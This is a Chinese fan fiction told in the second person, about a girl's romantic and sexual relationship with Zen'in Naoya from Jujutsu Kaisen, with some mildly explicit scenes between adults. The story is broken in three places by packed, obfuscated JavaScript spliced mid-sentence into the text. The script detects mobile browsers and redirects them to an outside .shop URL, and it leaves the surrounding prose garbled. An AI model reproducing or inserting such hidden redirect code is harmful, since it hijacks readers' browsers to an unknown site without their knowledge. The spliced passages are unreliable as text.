《禅院直哉也会有青梅竹马吗》 1. 青梅竹马promax 你是一个非典型的京都贵女。 首先你是个咒术师。 其次你的外祖父是京都都立咒术高级专业学校的现任校长乐岩寺嘉伸,一个热爱摇滚的保守派咒术高层。 你的母亲早逝你的父亲不详,从未露面的父亲只为你留下了一个姓氏,你的母亲则给了你名字,他们共同遗传给你美貌与术式,也算是有效产出的父母。 你的名字非常简单,浅川离,好像随便起的,没有什么寓意和祝福。 在京都这样一个传统且阶级分明的地方,你是母亲未婚先孕和私奔的产物,理论上你会被排挤和唾弃。 幸运的是咒术界是一个以实力为尊的地方,你的外祖父手握实权又是一级咒术师,你也继承了也许来自父系的稀有术式,三年前你按部就班地入学京都咒术高专,同时还在去年成功评上了准一级咒术师,能鄙视你的人变得非常之少。 理论上是非常少,实际上是几乎无。 并不是因为你银色长发琥珀色的猫一样的眼睛有些神秘感,也不是因为你雪肤花貌惹人怜爱,更不是因为你身量娇小让人忽略,而是因为你有一个无人想惹的青梅竹马:御三家禅院家的小少爷,禅院唯一的嫡出且继承了投射咒法的禅院直哉。 说是小少爷其实也没有那么小,说是青梅竹马的关系其实也没有那么贴,你们的相识初始于你的五岁他的十三岁,从小你就像一条小尾巴一样追在他的身后。十三年过去,你已经是亭亭玉立的美少女,他也看起来是个贵公子,举手投足之间都是上位者的余裕和矜贵。 当然这只是看起来,他本人依然非常幼稚,是个只有脸漂亮,实际性格有些糟糕的男人,被咒术界的许多人称为论外之男,对此你表面上当然否认,心里却觉得大家的眼光是准确的。 你并不嫌弃直哉,因为你也不是什么论内之人,对正论之类的你也是敬谢不敏,只是在他强攻击性的表现下,你的‘论外’有些不明显罢了。 此时此刻,在一间古朴又昏暗但是很奢华的书房里,你跪坐在榻榻米上,正仰头看着你的竹马,欣赏着他有些上挑又带着锋芒的凤眼,滔滔不绝地讲着什么才是咒术界的最强,悟君的实力深不可测,神子到底是神子,但是甚尔君也很强,甚尔君的强大只有他清楚…… 对于直哉的日常言论,你听着听着就眼神开始涣散,甚至在心里默默背诵他将要说出的话,且八九不离十。 “就是如此这般……阿离,你觉得我说的对吗?”直哉似乎也注意到了你的走神,于是他主动点名,他的嗓音是非常标准的奈良口音,音尾还有些上挑,配上他那一脸天上天下唯我独尊(排除禅院甚尔和五条悟)的傲娇表情,你知道这时候说“不”肯定会惹麻烦。 虽然几乎可以预测他的反应,但是你并不是一朵小白花,你日常不会让你的竹马太好过。 你露出一个有些恶劣且猫猫祟祟的表情,微微抬起下巴:“啊……对不对又有什么用呢,反正这辈子你是追不上五条和……” 你的话都还没有说完,作为速度几乎无敌的术师,直哉已经瞬间出现在了你的面前并精准地捏住了你的下巴。你往后躲,身形都有些不稳,他立刻用另一只手扶住了你的腰,因为你的身高较矮,一直站姿挺拔的小少爷还弯下了腰,只是为了稳稳托住你。 “……你说的对,直哉大人。”你有些艰难地想挣脱,但是介于你们的力量悬殊,你只能睁着和猫咪一样眼睛圆圆地看着他,表示不玩了放开我。 “哼。”直哉当然能预知你的反应,毕竟你们朝夕相处了十几年,间歇性分开也是三年前你开始去京都校上学后的事情,他实在是太了解你的秉性了,他很是干脆地松开手,然后在边上的书桌前坐下。 你知情识趣地起身,拿起桌上的西式茶壶给他沏了一杯红茶,在和室里喝红茶看起来有些奇怪,但是你的竹马就是很喜欢日西结合:比如他日常的穿着,下身完全日式的弓道袴和木屐,上身却是立领的白衬衫(并且扣到最高)外罩羽织,同时还让你帮他染了璀璨的金发(虽然发根还能看出黑色),他打了四五六个耳洞,甚至连耳骨上都穿了孔,戴着金属感张扬的耳饰。传统又现代,叛逆又保守,像一块被珍藏的檀香木,却又发出秀场钻石的火光。 他的保守体现在方方面面,比如当你第一次拥有他的时候,不管你们多么意乱情迷,他都死活要在上面,完全不给你任何机会,即使你跃跃欲试。 在不久前,你十八岁成年礼的当晚,你们并不是第一次亲吻了对方,但是亲着亲着就开始一发不可收拾。 毕竟你们相伴了十几年,身边也都没有其他什么亲密的朋友,两人都是异性恋且正好是异性,颜值又都过了对方的关,你们会发生点关系实在是非常正常,你并不觉得这是什么特别了不起的事情,但是直哉似乎很是当真,那天后就将你当作他的女人,开口闭口都是这样说,直到你很生气踮起脚捏住了他的嘴,明确拒绝这个称呼,他才开始恢复叫你名字。 “喂……阿离,今晚你回家吗?”直哉的声音将你从思绪中拉回,他状似无意地牵起你的手,将它包进他骨节分明且温暖的大手里,并顺势往脸上贴了贴,带着些眷恋的模样,看起来好像一个依赖你的巨大小狗。 “回,明天要去学校,我得早点回去准备一下。”你说着想把手抽出来,却被他大力直接拉了过去,你一个踉跄坐在了他的大腿上。 你觉得直哉对你和他的新关系就像是发现了新玩具的小孩,这样说虽然很物化,但是这确实是你的感受,或者说,他就像一个吃了二十六年的白水煮菜的人突然发现盐的存在一样,只要见到你他就想做点什么,明明周五晚上你从学校回家就一直陪在他身边,常理来说现在应该是贤者时间才对。 “直哉,我觉得你应该保养一下身体,不能一下子……”你似乎想寻找一个合适的词语,但是又有些词库匮乏,毕竟直哉他看起来不太像纵欲过度的样子,他的皮肤依然白皙嫩滑,眼下也没有乌青。 “哈?你说什么呢,我一周保养四天还不够吗?”直哉并不打算听取你的意见,你想推开他却发现对方坚如磐石,只好拍打他的肩膀,示意他回卧室。 “干嘛……在这里又不是……”他嫌弃地看了你一眼,那双漂亮甚至有点妩媚的凤眼里还带着点不能立刻被满足的委屈,不过他还是尊重了你的意见,伸手拢回你的衣襟,不情不愿地先一步走出书房。 你觉得青梅竹马就是这点好,如果他是个刚认识不久的男人,可能此刻根本不会听你的意见,直哉就很听话,你的要求他都满足。 卧室就在边上,你们没走几步就到了,但是禅院的下人众多,就这么几步路你们就遇到了好几波侍女,她们垂着头不敢看你们,但是你直觉她们已经燃起了八卦之心。 你和直哉的关系从青梅竹马进化到promax版本并没有多久,你能从别人暧昧的眼神里看出她们都已经知情,可能是禅院的和室不够隔音,也可能是直哉总是坏心眼想让你发出点声音,反正莫名其妙地大家都知道了。 你思索着,冷不丁被直哉一把抱起轻轻丢在床上。 “干嘛!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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好色轻浮,有着论外之男外号的嫡子将第一次保留到二十六岁,虽然有些违和,但是这是真的。 虽然那一晚是你们生涩的第一次,但是直哉非常在乎你的感受,可能是因为你们对对方的熟悉度非常高,你居然没有觉得很疼,这让你产生了一些物理方面的疑惑, “别走神。”直哉有些不满你的神游天外,虽然你日常如此,用他的话说你是一个很猫的人,日常就能被各种东西吸引走目光。 你有些理解直哉,对象是自己的青梅竹马,这样导致了对着不熟的人的那种尴尬的可能性都消失了,非常好,完美。 虽然平时你们的关系就很好,但是此刻你更觉得你们就是一个人。某次你好奇问他是什么感觉,他先露出了‘你在说什么蠢话’的表情,然后在你眼神的逼问下,无奈地说好像泡在羊水里一样温暖。 你震惊他连在妈妈肚子里的事情都知道吗?但是介于你俩都没有母亲,你没有继续这个话题,只是把脸贴上了他的胸肌蹭了蹭。 …… “真的要回学校吗?周一我帮你请假吧。”也不知道过了多久,久到天都彻底变黑,直哉躺在床上看你换衣服,他的眼神依然像只盯着食物的狼,久久凝望着你,完全不满足。 “不行啊,总不能说因为我们想……所以不去上学了。”你淡定地抚平衣服的褶皱,又有些埋怨地命令,“直哉,下次不要在脖子上留下印子,这样同学们会看到的。” “本来就是要他们看到啊,不然我干嘛一直亲你的脖子。”直哉不服气,他从床上爬行到你的身边,伸手又把你拉回身边,“再一次?” 他并不是请求,而是命令(你俩在这方面真是如出一辙),你想拒绝却发现根本没有这个选项,他一米八的巨大身躯已经一把将你捞回了怀里,细碎的吻又落在你的脖颈上,他那双漂亮灵活的大手又开始扒你。 让人遗憾(庆幸)的是塑胶制品用完了,他憋屈也没有办法,只能抱着你又亲又啃地发泄了一下情绪,替你掩好和服后他也起身换了衣服,并且打电话让司机备车,他要送你回乐岩寺宅。 2. 第 2 章 你坐上了那辆非常熟悉的黑色轿车,禅院嫡子专用版。 这辆车的司机并非普通人,而是禅院的无咒力武装躯俱留队的精英成员,从后座的空隙你也能看出他西服下千锤百炼的肌肉。不过,即使他的实力不俗,直哉对他的态度依然轻慢恶劣。 你觉得你的直哉也许并没有太多做少主的天赋,你的同班同学加茂宪纪也是御三家的少主,不管加茂心里在想什么,至少面上是很有风度的,不像直哉,他的恶劣傲慢刻薄完全写在脸上,嘴巴也不饶人,要知道加茂宪纪和你同龄,理论上应该是年长者更沉稳吧?可是直哉完全相反! 上车不到一分钟,直哉已经攻击了司机‘蠢货快开’之类的话,你有些无语。 因为你俩确实折腾,即使是咒术师的身体也有极限,你有些累,于是你开始放空情绪,看窗外的风景,随着郁郁葱葱的绿色褪去,轿车驶入了街道,直哉温热的大手也在不知不觉中覆上了你的。 “嗯?”你有些疑惑回头,不知他有何吩咐。 “嗯什么嗯。”直哉伸手把你拉到他的近前,吻就直接贴到了你的唇上,他的嘴唇柔软又冰冷,你伸手偷偷掐了一把他的腰间软肉,他闷哼一声,也回手来掐你的,主打一个谁都不吃亏,公平公正最重要。 你是非常怕痒的,于是开始疯狂往后躲,可是你的体术在直哉面前不堪一击,他一把固定住了你的后腰,在你耳边轻轻吹气:“周中回来一次,明白了吗?” “我忙的要命。”你也并不是撒谎逃避,咒术高专除了祓除任务外还有文化课和体术课,老师也一样都会布置作业,如果周三花一小时回来一次,周四早上就还要花一小时再过去,好麻烦的。 当然深层原因还是因为直哉太能折腾,你腰酸背痛的不利于上课学习。 “我来找你。”他立刻给出了解决方案,语气有点闷闷的,明显是对你的不热情感到不满。 “那更不行!”你一口回绝,虽然你的语气坚决,但是因为你的脸实在是可爱,拒绝在对方眼里也许都是撒娇,于是你又语气严肃地重复强调了一遍,“我不想同学们看到你,不准来。” “浅川离,你……我是那种见不得人的男人吗?”直哉有些不高兴了,他那双总是带着揶揄和戏谑的漂亮眼睛罕见地流露出受伤的神情,“有我这样的男朋友你应该尽情炫耀才对……你也太低调了吧?” 你心说炫耀不了一点,但是你又不想直哉生气发疯不让你下车,或者直接让司机把车开回禅院,于是你硬邦邦的态度开始软化。 你动作有些迟缓地捧住他细皮嫩肉的漂亮脸蛋,然后亲了上去,这非常奏效,在你的吻抵达的那一刻,他立刻变成顺毛小狗,乖巧地被你捧着脸亲着,只有揽住你腰的力道在慢慢加重。 乐岩寺宅和禅院宅距离并不远,毕竟你们都住在京都的老钱区,很快车子平稳停下,你松开他,直哉神色莫测地看了一眼驾驶座,你对他实在是太过了解,知道他大概是在内心吐槽司机是个蠢货,不知道绕绕路吗? “明天真的不用我送你去学校吗?”他不死心。 你坚定摇头。 “那……你到了学校给我发信息,到家了也要给我发信息。” 你愣了一下:“可是我走几步就到家了。”车都停到你家门口了,还发信息也太奇怪了。 “那也要发。”他又把你拉过去啄吻了一口。 …… 第二天早上。 你坐着自家的车去的京都高专,从你家到京都高专开车都需要花费一小时,由此可见高专之偏僻。 司机驾驶平稳,你坐在后座假寐,手机里是还未回复的信息,来自你的竹马promax直哉。 你并不是不想回复,只是一旦回复就没完没了,而且你如果有哪句话说错,他就会立刻打电话过来抗议。于是你假装你是真的在车上睡着了,打算到了学校在报平安的同时一道回复。 直哉比你大了七八岁,但是在你们的关系里他却像你的年下,也许因为你本质上是个很冷的人,大多数事情无法挑动你太多情绪。但是你对直哉确实是又比对他人更热一些,所以你们才能友谊长存。 车子很快驶到了高专门口,在司机恭敬的提醒声中你下车步入,在浓密古树之间的台阶有些破旧碎裂,你不禁开始思考外公作为校长为什么不修缮一下,但是很快你又懒得去想,这些都不是你应该关心的。 你在京都高专也有一间宿舍,毕竟你一周有五天需要留在学校,你熟门熟路地回到自己的宿舍门口,正好迎面而来的是你的同学们。 说是同学,其实只有一个是同期,另外两人算学妹。 西宫桃,你的同班同学,有美国人血统的咒术师,日常带着一柄扫把,术式也像魔女,属于任务中的高空情报监视位。虽然她和你同为辅助,但是你们并没有太多交流,因为你在学校里基本上只跟着外公看好的加茂宪纪行动,又因为她和禅院真依交好,你俩几乎不正面交流。 禅院真依,你的学妹,外表来看就是非常禅院的一位禅院,长睫毛、上挑眼、高个子,容貌姝丽,同时也是一个天生的挑事之人,术式为构造术式,每天可以制造一颗实物子弹,武器是枪支。因为直哉的关系,她每次见到你都没有什么学妹的自觉,不会问好,反而会仗着身高抱臂居高临下地看你,散发不友好的气息。 三轮霞,你的另一个学妹,家庭拮据为人乖巧,在你外公处勤工俭学做护卫,她对所有人都很平和友善,所以她也是当下唯一一个和你主动打招呼的人。她很有礼貌,称呼你为浅川学姐。 “哦,是你们啊。”你无视了西宫桃和禅院真依根本没有想理你的这个事实,在对着三轮霞颔首的同时还加上了一个‘们’字,就好像三人都打算搭理你一样,你也是一个自洽的高手。 直哉经常说你是一只自说自话的猫,其实这个形容还挺贴切的,即使明显不被同学们喜欢,你也淡然自若。毕竟你都三年级了,毕业也是指日可待,修补关系什么的有点无用,而且你非常清楚,只要你和禅院直哉交往一天,你在禅院真依的心里就是大反派,顺带着她的闺蜜也不会喜欢你,这也挺合理正常的,人不能既要有要,在认定了直哉是你的人之后,总要承受一些由此而来的负面影响。 禅院真依可能想说点什么让你不快,但是你对禅院家的人(直哉)非常熟悉,他们想嘲讽人的前摇表情你都早已知晓,你并不给她这个机会,直接开门进了自己的宿舍并迅速关上。 “啧。”想说却没来得及的禅院真依也不能跟着你进门,只能遗憾。 关上门隔绝了世界,你开始在自己的宿舍里开始简单收拾课本,下午有文化课,同时你也不忘给直哉报了平安,说你到宿舍了。 …… 咒术高专的学生非常少,你的班级有四人已算多,大家一人一个位置,听着讲台上历史老师讲课。 你的成绩不错,但是这并不代表着你很认真,你的术式需要在短时间内用咒力排列组合渲染场景,和大脑息息相关,所以其实你的脑子非常好用:大多数的文科内容你看一遍甚至听几耳朵就能背下来。 因为天赋异禀,上课的时候你喜欢在草稿纸上和自己下五子棋,并且战况激烈,左右手互不相让,无法分出胜负。 老师们当然知道你没有在听,但是你的考卷只有卷面分偶尔会被扣,所以也没有老师强制你的上课注意力。 课间休息时间,前桌加茂宪纪转过身,他先是按照礼貌规矩地问候了你的周末,接着问起你是否知道东京的事。 “东京?”对于这位在2017年还穿着一身阴阳师风格特制高专制服且永远闭着眼(其实是眼睛小)的长发同期,你并不会如同在直哉面前一样放肆,他的话你会认真思考,认真思考后你回答,“不知道。” 他并没有因为你的孤陋寡闻而介意,反而耐心地为你解释:“东京出了一个宿傩的容器,东京校的五条老师还让他入学了东京高专。” 你眨眨眼,顿时觉得信息量有些大,你知道宿傩是诅咒之王,那么宿傩容器是装着诅咒之王的意思吗?因为一下子没有完全明白,你睁着圆圆的眼睛有些惊讶,这个表情代表着让对方继续说。 “有个普通男高中生吞下了一根宿傩的手指,非但没有爆体,反而与它共生了,总监部的意思是处死他,五条老师却把他吸收到了东京高专去读一年级了。”加茂宪纪解释着,“我以为乐岩寺校长已经告诉你了。” “不……”你昨天回家的时候外公都睡下了,早上你起床的时候他已经出门,不过你也只是惊讶了一瞬,毕竟宿傩什么的,和你关系不大。 你的理由非常清晰:就算宿傩出来也不需要你去应付,东京可是有着现代最强的咒术师五条悟啊,一根手指版本的宿傩,五条悟打起来还不是轻松写意吗? 五条家主,六眼神子五条悟在十年前就离开了京都去往东京上高专,你并没有见过他几次,但是他那张美丽如天神的脸和青空一样的苍瞳让小小的你印象深刻。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055183|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他的名头在咒术界是无人不晓。以你外公所在的保守派来看五条悟是个巨大的麻烦,但是你和直哉的想法更为接近:五条悟是最强,咒术界实力至上,所以最强的五条悟爱干什么都是合理的,你俩对他没有恶感,并且承认他的实力。 慕强又慕颜,这是直哉,也是你,你们真是一对非常合拍的青梅竹马。 很明显你的同学加茂宪纪不是一个擅长聊天的人,在你说了‘不’这个单字后他停滞了几秒,有些无措地看着你的脸,似乎是不知道该如何继续对话。好在下一节课又开始了,他和你说了声‘先上课吧’,然后便转过身去,留给你一个背影。 你就躲在他的背后继续摸鱼。 其实本来你的座位是他的,毕竟他接近一米八而你不到一米六,但是在一年级的时候你就期期艾艾地问他能不能换个位置,虽然他不知道你的目的,但是他本质上是个善良心软的好人,于是就同意了,你非常快乐地成为了他背后的女人(?)。 看着加茂同学相对来说很宽厚的背影,你大概知道直哉为什么一定要咬你的脖子,他在防着加茂宪纪,并通过这种幼稚的手段标记你,让别的男人一看就知道你已经有他了。 在你眼里的直哉一直很幼稚,但是在这件事上,其实是事出有因的。 你的外公乐岩寺一直想撮合你和加茂宪纪,在他看来宪纪和你同龄,性格又端方稳重,你俩简直是天造地设的一对。对此你不太同意,因为你知道自己是个自我中心的人,性格不温柔,内心也不善良,所以你还是更加适合傲慢自负的直哉,在都有毛病的情况下你俩谁也别嫌弃谁。 你用手撑着脸开始在数学老师讲课的白噪音背景下在草稿纸上涂涂画画,画着画着就画出了直哉的Q版小人,你觉得那个上挑的眼和傲慢的神情简直被你画活了,于是你忍不住拿出手机想拍给他。 想就做。 拍照声突兀地在教室里响起。 你若无其事地放下手机,好似无事发生,即使大家都在看你,你也能如不在场一般淡定。 课程继续,你把照片发给了直哉。 他几乎是秒回。 “呵,上课还在想着我吗?今晚我来接你?” 然后他又立刻发来一张图片,桌面上满满一堆塑胶制品,各种牌子的都有,很明显是他刚去买的。 他大概是在告诉你他准备充足,毕竟上次用完了导致他没有尽兴,这让任何事物都一直充裕的直哉少爷感到不悦。 “不,你别来,没想你,上课太无聊罢了,不要自作多情。”你简洁地回信息。 虽然并不是很想聊天,但是你一条他一条,不知不觉就聊到了下课,你是个摸鱼的学生有空很正常,直哉作为禅院咒术师集团‘炳’的首席也这么空真的没问题吗? 你想去外面晒晒太阳,所以你强行中断了和直哉的信息对轰(暂时不回复了)。 数学老师在离开教室前神情复杂地看向你,她大概想提醒你上课认真,但是你的数学考卷一直是满分,于是她欲言又止后还是什么也没说。 你一个人走到教室外,小鸟叽叽喳喳在树上鸣叫,你有些出神地看着它们。 并没有想任何事也没有什么感触,你只是发呆放空。 “浅川。” 你循声回头,发现是加茂宪纪,他不知何时出现在了你的身后。 “在。”你有些不高兴放空被打断,但是也给了回应,作为一个辅助型术师,和其他人搞好关系是应该的,得有礼貌。 “今晚加茂家会举办京都咒术师的交流会,校长刚才通知我说他有事无法出席,他让你与我一同前去。”他语气平淡地转告你外公的决定。 “哦……好。”虽然你觉得很麻烦,但是这也算是咒术师的工作,作为准一级的你无法拒绝这合理的吩咐。 在通知到位后加茂宪纪就转身回了教室,你给直哉回信息,告诉他晚上你有事,没时间和他视频了。 “我就知道狡猾的老头子又想撮合你和加茂家的那个用脏兮兮术式(他指的是血液)的眯眯眼庶子。晚上我也会去。”直哉的回信都带着火药味,即使只是文字也看出他很恼火,好像你一个平A他就把大招都交了一样。 你觉得直哉说的不对,你外公应该是确实很忙,而不是什么撮合,但是你又觉得解释起来好累,于是你把手机收了起来,继续看小鸟、蓝天、白云,岁月静好,什么宿傩容器之类的都不在你的考虑范围,此时此刻是快乐的就足够了。 3. 第 3 章 你其实挺烦咒术界没完没了的各种宴会,虽然乐岩寺家有专人为你梳理头发和穿访问着,甚至打扮一下你觉得还怪好看的,但是你就是觉得不太高兴。 这种没有什么意义的宴会,不管主办方是禅院还是加茂或是总监部,场地总是在严肃灰暗阴湿的和室,没有什么好吃的食物,更别提你喜欢的巧克力喷泉和蛋糕塔,那些大人物们总有说不完的话,就好像一辈子没见过对方一样,明明大家都在京都…… 你就摆着一张‘好烦’的脸,跟着换了纹付的加茂宪纪,一前一后、一高一矮地进入会场。 你们前脚到达,直哉后脚就跟了进来,他很是刻意地站到了你和宪纪的中间,他甚至都没换正式的礼服,还是那身日西结合的大正风穿搭。可能是因为你确实偏爱他,即使他的行为有些乖张,你还是觉得他长得可真好看,即使二十六七岁,看起来还是和十八岁的你们像同龄人,不说话的直哉整个人都透露出京都贵公子的矜贵,除了身材确实有些壮硕外一切都让你满意,但是那是禅院基因所以没有办法。 “加茂君,多谢你把我家阿离带来,还特意将她带在身边,你人可真好啊。”直哉可以说是皮笑肉不笑,不友善都要写在脸上了。 “无妨,我和浅川同学本来就是一道来的。”加茂宪纪当然也能感受到禅院直哉莫名其妙的敌意,但是因为禅院直哉的名声一直就那样,他没有感到被冒犯,只如实回答。 你心说直哉又来了,这毕竟是个正式场合,可不能给人看笑话,于是你偷偷伸手去捏了一下直哉的手,让他不要针对你的同学。 你只是想捏一下,直哉却直接攥住了你的手,还捏的紧紧的,让你想抽都抽不出来。 “那么我先……”直哉想带离你,会场入口处却传来一些低低的惊呼,他刚想冷嘲他们大惊小怪,却发现你也愣住了。 骚乱的源头是一头白毛的高个子男子,那标志性的小圆墨镜和黑色制服,不是御三家的五条家家主五条悟还有谁? 你打量着他,发现他和直哉一样没有穿正式和服,甚至是更为随意的高专教师制服,长手长脚的他大大咧咧地走了进来,和室在他的映衬下显得更加矮□□仄,他进门时甚至下意识弯了一下腰。 看到此情此景,你有些不高兴,毕竟一米八多的直哉和加茂同学都能给你身高的压力,现在又出现了一个和门几乎一样高的,你开始在心中埋怨未见面的父母,没能给你一米七的身高。 你的微微蹙眉在直哉眼里就是‘专注在看五条悟’,于是他下意识地往前一步挡住了你的视线,并自语:“悟君怎么也来了,他不是一直在东京吗?” 被他的称呼提醒,你突然想起来,你的竹马最最崇拜的人就是五条悟和禅院甚尔,后者已故,那么眼前的五条悟就是他唯一崇拜之人。 你有些遗憾,恨自己不能是个高个子的特级咒术师,这样你就能看到直哉崇拜你的罕见模样了。 宪纪虽然并没有特别崇拜某人,但是他也同样意外,五条悟是从来不参加御三家的各种聚会的,今天他来的目的是什么? “哟。老爷子不在啊。”五条悟一边敷衍地应付着各种和服大叔的问好搭讪,一边往你的方向走来,你能感受到牵着你的手逐渐收紧,看来直哉看到偶像非常高兴,你非常用力地将手偷偷抽了出来,好在直哉的注意力被吸引,没有孩子气地再来抓你。 “好漂亮的小布偶猫。”在你还在胡思乱想的时候,五条悟已经到了你们的面前,他微微俯身弯腰,脑袋都几乎要贴到你的脸上,你下意识地退后一步,对方却拉下了墨镜。 你怔愣住。 五条悟的眼睛好像是海洋,又好像是天空,你能从他清透的眼睛里看到自己的倒影,你似乎看到了自己被大海包裹在了中心,这场景美丽静谧,让你都差点忘记了呼吸。 “老爷子的外孙女?怎么长那么大了。上次见你还是个小豆丁呢,现在变成大美人了呀。”五条悟用手虚虚地比划了一下,和那张依然少年的脸不同,他的声线已趋向于成熟男性,却因语气活泼而别有一丝反差的吸引力。 “悟君,你怎么来京都了?”直哉打断了你和五条悟的对视,也岔开了略显轻浮的对话,他崇拜强者不假,但是这不代表着强者可以撬他墙角。 宪纪对五条悟也是几乎没有见过的状态,毕竟他和你是同龄人,不过作为加茂嫡流的少主,他非常礼貌地问好了五条家主五条悟。 五条悟很随意地回应了两人,那双苍蓝的六眼还如同黏着一般盯着你。 “五条先生……”你微微回神,对于这样的距离和注视有些不适,但是因为那实在是罕见的美丽,你一时间没办法说出什么话语来。 “悟君,请不要一直盯着我的……”直哉想说女朋友,但是你们似乎从来没有确认过关系,说‘我的女人’有概率被你反驳,他竟一时语塞,那双锐利的美丽凤眼罕见地出现了一丝不知所措。 “哈哈,抱歉哦,小离实在是让我意外啊……女大十八变直接变成仙女了。”五条悟并不在意直哉的敌意,他伸出大手在你的头上很自来熟地揉了一下,然后就在直哉几乎想吃人的眼神里哈哈大笑着闪开,去骚扰下一个人了。 “五条家主也来了……”宪纪有些疑惑地自语,“这只是一个很普通的聚会吧。”虽然这次聚会是加茂家举办的,但是作为继承人的他也没觉得有什么值得五条悟来的。 “大概是正好在东京吧。”你认为他不是特意来的,但是他可能想找你的外公,而你的外公‘正好’有事不来,好像避着五条悟似的。 不过你并没有继续和宪纪讨论的机会,直哉不管不顾地把你拖走,这种幼稚的行为让你有些不满,但是你们的力量差距实在是悬殊,你看到宪纪似乎想阻拦一下,但是看到你平静的表情后他停下了动作。 是的,你都已经习惯了,而且没人会觉得禅院嫡子会在加茂宴会上对你下杀手,所以宪纪给了你一个爱莫能助的眼神后,就放任那个论外之男把你带走了。 “干嘛啊直哉。”你拍打着他的胳膊,人却已经被拉到了无人之处的墙边,被他的身体阴影完全罩住。 “你干嘛一直看着五条悟,好看吗?”他此刻都忘记了那是他喜欢的‘悟君’,醋意都要翻腾成海,他双手撑着墙壁将你笼罩,“比我好看吗?” “没有一直看,很难得见到才多看几眼。”你对他的过度敏感有些不满,“看到总统之类的人物出现在宴会上,你难道不看吗?” 你的话显然有点道理,直哉居然被你问住了,他一时语塞,但是脑海里又翻腾出你和五条悟‘深情’对视的半分钟,于是他重振自己的主张:“反正你不许盯着其他男人看,特别是五条悟。” “只许你喜欢吗?”你认为自己一针见血,直哉确实吃醋,但是可能是吃了两边的醋,他没办法要求五条悟,所以来捏你这个软柿子,“你还叫他悟君!我都叫了五条先生呢。” “谁喜欢他!”直哉明显恼羞成怒,他伸手捏住你的下巴,没用力气地轻轻抬起,让你和他的距离更近了一些,气氛也有些粘稠。 你觉得他要亲你了,好家伙,他肯定是想借着生气多亲几口。 你预判了他的行为,他确实亲了下来,没有平时小心翼翼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055184|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舔舐和吸吮,他直接攻城略地,和你交换唇齿间的津液,把你亲到缺氧,衣襟都乱了。 亲完直哉明显消气了,他看着你粉白脸蛋上的潮红和红的滴血的耳垂非常满意,他伸手仔细为你整理领子和头发,在你有些怒气冲冲的眼神中居然笑出声,完全是得逞了。 “晚上和我一起走,坐我的车回去。”他吩咐,回去指的是回禅院。 “直哉!你也差不多一点,哪有人每天都……”你想拒绝,却没办法将话说下去,因为他只说了回他家,并没有说别的,如果你先往那方面提,他肯定会恶劣地笑着嘲讽你。 “可是很难受啊。”直哉罕见没有抓住你话里的漏洞,而是露出一丝小动物一般的委屈且老实来,他伸手把你拉进怀里抱着,附耳问你能感受到吗? 即使隔着宽大的射箭袴,你也能感觉到。 “再说,再说。”你如同被烫到一般挣脱了他的怀抱,如果没什么事你当然能跟他回去,但是五条悟来了京都,你的外公又好似故意躲着他,你得回家问问情况。 并不是你很关心五条悟,而是你很关心外公,虽说打电话也能说,但是你的外公是老狐狸,你需要当面观察他的表情和语气才能得到完整的信息。 考虑到晚上的拒绝会让直哉炸毛,你只能耐心解释了一下自己的想法,因为是正事,他也没办法硬拦着你。看着你竹马像淋雨小狗一样失望的表情,你只能开始画大饼。 “明天晚上我下课后就回来,可以吗?” 直哉颔首,并讨价还价:“那明天不许怕痒不许躲。” 虽然对方是你的竹马,但是这样直白说出来还是让你感觉到了羞涩,而且你不知道他是不是想到了什么稀奇古怪的点子,不过这并不是很大的要求,你胡乱应答并不去看他:“好吧。” “那我再亲会儿。”见你答应下来,他不由分说地又伸手把你捞到了怀里,低头就亲你的额头、脸颊、嘴唇,反正能亲的地方都又再狂亲了一遍,痒的你几乎要扭成麻花,但是被禁锢住了。 十五分钟后你俩又回到了会场,你的发髻是直哉重新给你梳理的,他其实是一个非常心灵手巧且仔细的人,除了专业的女眷并没人看得出来这不是职人的手艺。 五条悟已经离开,许多人还在窃窃私语讨论着他,从碎片一般的谈论中你得知他只是来喝了点饮料吃了几口和果子,说着难吃就走了。 他的目标应该是你的外公,你如此这般思索,并没来由地想到了宿傩容器。 ‘他是不是希望外公支持他,劝说高层的其他人不处死宿傩容器。’你认为自己完全是真相了,除此以外,你实在是想不出那样一个闪闪发光的男人为什么要找一个老爷子。 “喏。”直哉随手从侍者的托盘里给你拿了一杯加了红枣的温热红茶。 你接过啜饮一口,然后抬头看他。 虽然五条悟很好看,但是你认为直哉也很漂亮:长睫毛、凤眼、白嫩、高鼻梁,所有好看的属性都堆叠在他身上了。你这般想着,忍不住伸手用小拇指勾了一下他的手。 “干嘛……”他小声回应你,明显也是有点羞涩,不过他很快就找回了自己的武装,“被我迷住了吗?那今晚别回乐岩寺那边了……” ‘不仅好看,而且这人很好懂。’他的反应完全在你的预测之中,他会说什么话你其实都能背诵出来,对于这样一个完全属于你,又不太聪明的漂亮竹马,你感觉到了前所未有的满意。 你认为直哉什么都好,只是有些精力过剩,另外好像暂时没有什么缺点了,但是你相信这只是新鲜感的缘故,过段时间会正常的。 4. 第 4 章 宴会后你让宪纪先回了京都校,自己则是坐上禅院的车回了家,一路上你都能感觉到直哉时不时瞥来的眼神,虽然不知道他在看什么,但是对你很关注。 “干嘛一直看我。”你直接问。 “没有。”直哉立刻否认,眼神飘到别处,“别自作多情,我才没有看你。” 